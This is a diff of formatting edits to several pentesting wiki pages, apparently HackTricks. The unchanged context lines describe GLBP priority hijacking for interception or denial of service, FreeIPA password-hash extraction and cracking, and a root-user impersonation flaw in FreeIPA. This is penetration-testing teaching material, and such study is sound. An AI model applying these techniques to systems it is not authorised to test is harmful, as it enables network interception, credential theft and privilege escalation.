+<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption><p>Dump of traffic during a neighborhood disruption</p></figcaption></figure>
 
 <figure><img src="../../.gitbook/assets/image (27).png" alt=""><figcaption><p>GW1 router endlessly disconnects and reconnects EIGRP</p></figcaption></figure>
 
@@ -191,16 +191,14 @@ After running the script, the routing table starts overflowing with routes. The
 
 <figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption><p>Overloaded router CPU</p></figcaption></figure>
 
-
-
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-**This pages was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)****
+**This pages was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\*
 
 ## FHRP Hijacking <a href="#6196" id="6196"></a>
 
@@ -56,9 +56,9 @@ GLBP uses the reserved group mailing IP address **224.0.0.102** and the UDP tran
 
 The technique of this network attack is to impose your device as the main router **by injecting a malicious GLBP packet with a maximum priority value.** **Successful exploitation leads to a DoS or MITM attack in which you can intercept traffic within the network, conduct a redirect, or cause a DoS as you take over the role of AVG router.** All you have to do is build a GLBP packet with the highest priority value of 255 and direct it towards the local network.
 
-<figure><img src="../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (14) (2).png" alt=""><figcaption></figcaption></figure>
 
 ### GLBP Injection (Loki) <a href="#fb69" id="fb69"></a>
 
@@ -76,8 +76,6 @@ As we see, only two routers are involved in the GLBP process: **10.10.100.100 an
 
 <figure><img src="../../.gitbook/assets/image (271).png" alt=""><figcaption><p>GLBP Advertisement from first router</p></figcaption></figure>
 
-
-
 After analyzing GLBP traffic we have the following:
 
 * **A misconfiguration was detected within the priority setting. AVG router is considered a GLBP router with priority 200, i.e. we have a vector for GLBP hijacking**
@@ -270,12 +268,12 @@ This is how you can attack the HSRP domain and intercept traffic. Basically, eve
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

linux-hardening/freeipa-pentesting.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -86,7 +86,7 @@ klist
 
 ### **Unix Keyring**
 
-CCACHE Tickets **** can also be **stored** in **** the Linux **keyring**. The keyring lives inside of the **kernel**, and gives administrators **more control over the retrieval and use of stored tickets**. Tickets can be scoped in the following different ways:
+CCACHE Tickets \*\*\*\* can also be **stored** in \*\*\*\* the Linux **keyring**. The keyring lives inside of the **kernel**, and gives administrators **more control over the retrieval and use of stored tickets**. Tickets can be scoped in the following different ways:
 
 * **`KEYRING:name`:** Tickets are scoped to a specific named Keyring.
 * **`KEYRING:process:name`:** Tickets are scoped to a specific process id.
@@ -96,7 +96,7 @@ CCACHE Tickets **** can also be **stored** in **** the Linux **keyring**. The ke
 
 Depending on how the administrator scoped the ticket stored inside of the Unix keyring, parsing it out may be difficult. However, the **default** **scope** for CCACHE Tickets in the Unix keyring is **`KEYRING:persistent:uidnumber`**. Fortunately if you are in the **context** of the **user**, `klist` can **parse** this information for us.
 
-<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 As an attacker, **re-using a CCACHE** Ticket stored in the Unix **keyring** is fairly **difficult** depending on how the ticket is scoped. Fortunately [@Zer1t0](https://github.com/Zer1t0) from [@Tarlogic](https://twitter.com/Tarlogic) has built a tool that can extract Kerberos tickets from the Unix keyring. The tool is called **Tickey** and can be found [**here**](https://github.com/TarlogicSecurity/tickey).
 
@@ -112,7 +112,7 @@ It consists of pairs of **Kerberos principals and encrypted keys** that are deri
 
 Keytab files can be used to **obtain a valid ticket granting ticket** (TGT) for the principal it is scoped to. This authentication process **does not require the password**, as it contains keys derived from the password.
 
-Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to **parse** a **keytab** file is with **klist**. The second way utilizes a great python utility that [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) has created. His **** [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) **** project will parse out the principal and its relevant encrypted keys.
+Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to **parse** a **keytab** file is with **klist**. The second way utilizes a great python utility that [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) has created. His \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* project will parse out the principal and its relevant encrypted keys.
 
 <figure><img src="../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
 
@@ -192,16 +192,16 @@ The **admin** user of **FreeIPA** is the equivalent to **domain admins** from **
 
 ### Hashes <a href="#482b" id="482b"></a>
 
-The **root** user from the **IPA serve**r has access to the password **hashes**.&#x20;
+The **root** user from the **IPA serve**r has access to the password **hashes**.
 
 * The password hash of a user is stored as **base64** in the “**userPassword**” **attribute**. This hash might be **SSHA512** (old versions of FreeIPA) or **PBKDF2\_SHA256**.
 * The **Nthash** of the password store as **base64** in “**ipaNTHash**” if system has **integration** with **AD**.
 
 To crack these hashes:
 
-• If freeIPA integrated with AD, **ipaNTHash** is easy to crack: You should **decode** **base64** -> re-encoded it as **ASCII** hex -> John The Ripper or **hashcat** can help you to crack it fast&#x20;
+• If freeIPA integrated with AD, **ipaNTHash** is easy to crack: You should **decode** **base64** -> re-encoded it as **ASCII** hex -> John The Ripper or **hashcat** can help you to crack it fast
 
-• If an old version of FreeIPA is used, so **SSHA512** is used: You should decode **base64** -> find SSHA512 **hash** -> John The Ripper or **hashcat** can help you to crack it&#x20;
+• If an old version of FreeIPA is used, so **SSHA512** is used: You should decode **base64** -> find SSHA512 **hash** -> John The Ripper or **hashcat** can help you to crack it
 
 • If new version of FreeIPA is used, so **PBKDF2\_SHA256** is used: You should decode **base64** -> find PBKDF2\_SHA256 -> it’s **length** is 256 byte. John can work with 256 bits (32 byte) -> SHA-265 used as the pseudo-random function, block size is 32 byte -> you can use only first 256 bit of our PBKDF2\_SHA256 hash -> John The Ripper or hashcat can help you to crack it
 
@@ -285,11 +285,11 @@ The "**User Administrators**" privilege, is very powerful (as its name indicates
 
 <figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
 
-With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can **make a new user inside the FreeIPA domain named **_**root**._
+With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can **make a new user inside the FreeIPA domain named \_root**.\_
 
 <figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
 
-Once the user is created in the domain we can **obtain a ticket for the account with **_**kinit**_.
+Once the user is created in the domain we can **obtain a ticket for the account with \_kinit**\_.
 
 <figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
 
@@ -299,17 +299,16 @@ Now we can attempt to **SSH** using our newly created root domain account.
 
 As shown this **drops the user into the local root account**! So simply by creating a domain user for a local user we were able to authenticate using the _root@WESTEROS.LOCAL_ account and obtain the **user context of the local root account**_._
 
-_For more details about this vuln check_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\
-
+_For more details about this vuln check_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -489,8 +489,8 @@ Like in the following examples:
 
 You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access):
 
-{% content-ref url="broken-reference" %}
-[Broken link](broken-reference)
+{% content-ref url="broken-reference/" %}
+[broken-reference](broken-reference/)
 {% endcontent-ref %}
 
 ### hostIPC
@@ -508,7 +508,7 @@ If you only have `hostIPC=true`, you most likely can't do much. If any process o
 
 The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
 
-<img src="../../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -557,7 +557,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
 * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
 * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
 
-<img src="../../../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -565,12 +565,12 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

linux-hardening/useful-linux-commands/bypass-bash-restrictions.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -349,7 +349,7 @@ If you are inside a filesystem with the **read-only and noexec protections** the
 * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
 * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -357,12 +357,12 @@ If you are inside a filesystem with the **read-only and noexec protections** the
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -86,7 +86,7 @@ After installing Certificate SSL endpoints also working fine tested using → [h
 After installing the certificate this way Firefox for Android won't use it (based on my tests), so use a different browser.
 {% endhint %}
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -94,12 +94,12 @@ After installing the certificate this way Firefox for Android won't use it (base
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

mobile-pentesting/ios-pentesting-checklist.md

@@ -1,6 +1,6 @@
 # iOS Pentesting Checklist
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
